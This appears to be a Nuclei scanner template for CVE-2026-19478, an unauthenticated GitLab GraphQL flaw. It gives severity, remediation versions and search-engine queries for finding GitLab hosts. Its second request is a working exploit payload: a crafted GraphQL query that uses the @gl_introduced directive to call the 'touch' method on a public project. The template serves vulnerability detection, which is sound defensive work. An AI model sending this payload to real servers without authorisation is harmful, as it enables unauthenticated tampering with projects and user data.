id: CVE-2026-19478 info: name: GitLab CE/EE - GraphQL @gl_introduced Arbitrary Method Invocation author: 0x_Akoko,DhiyaneshDk severity: critical description: | GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.2 before 18.11.11, 19.0 before 19.0.8, 19.1 before 19.1.6, and 19.2 before 19.2.4 that under certain conditions could allow an unauthenticated user to remotely modify or delete public projects and user data via a GraphQL directive. impact: | An unauthenticated attacker can remotely modify or delete public projects and user data via arbitrary method invocation through a crafted GraphQL query. remediation: | Upgrade GitLab to version 18.11.11, 19.0.8, 19.1.6, or 19.2.4 or later. reference: - https://www.cve.org/CVERecord?id=CVE-2026-19478 - https://github.com/davkharrr/CVE-2026-19478-PoC - https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-2-4-released/ - https://gitlab.com/gitlab-org/gitlab/-/work_items/611377 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H cvss-score: 9.4 cve-id: CVE-2026-19478 epss-score: 0.05811 epss-percentile: 0.92639 cwe-id: CWE-94 metadata: max-request: 2 verified: true vendor: gitlab product: gitlab shodan-query: http.title:"GitLab" fofa-query: title="gitlab" google-query: intitle:"gitlab" tags: cve,cve2026,gitlab,graphql,code-injection,unauth,vkev flow: http(1) && http(2) http: - method: GET path: - "{{BaseURL}}/api/v4/projects?visibility=public&per_page=1" matchers: - type: dsl dsl: - "status_code == 200" - "contains(body, 'path_with_namespace')" condition: and internal: true extractors: - type: regex name: project_path group: 1 regex: - '"path_with_namespace"\s*:\s*"([^"]+)"' internal: true - raw: - | POST /api/graphql HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"query":"query { project(fullPath: \"{{project_path}}\") { name touch @gl_introduced(version: \"999.0.0\") } }"} matchers-condition: and matchers: - type: status status: - 200 - type: word part: body words: - "doesn't exist on type" negative: true - type: regex part: body regex: - '"touch"\s*:\s*true' extractors: - type: json json: - '.data.project.name' # digest: 4b0a00483046022100f850c7f8e6eae5317be3d0985f4351cb659128bac74c48ad5bf9e9a6117f2d85022100e0e340e8f6560ebe9e8ec51742025f05699103134dfbf39d6cabefe943eb7f6e:922c64590222798bb761d5b6d8e72950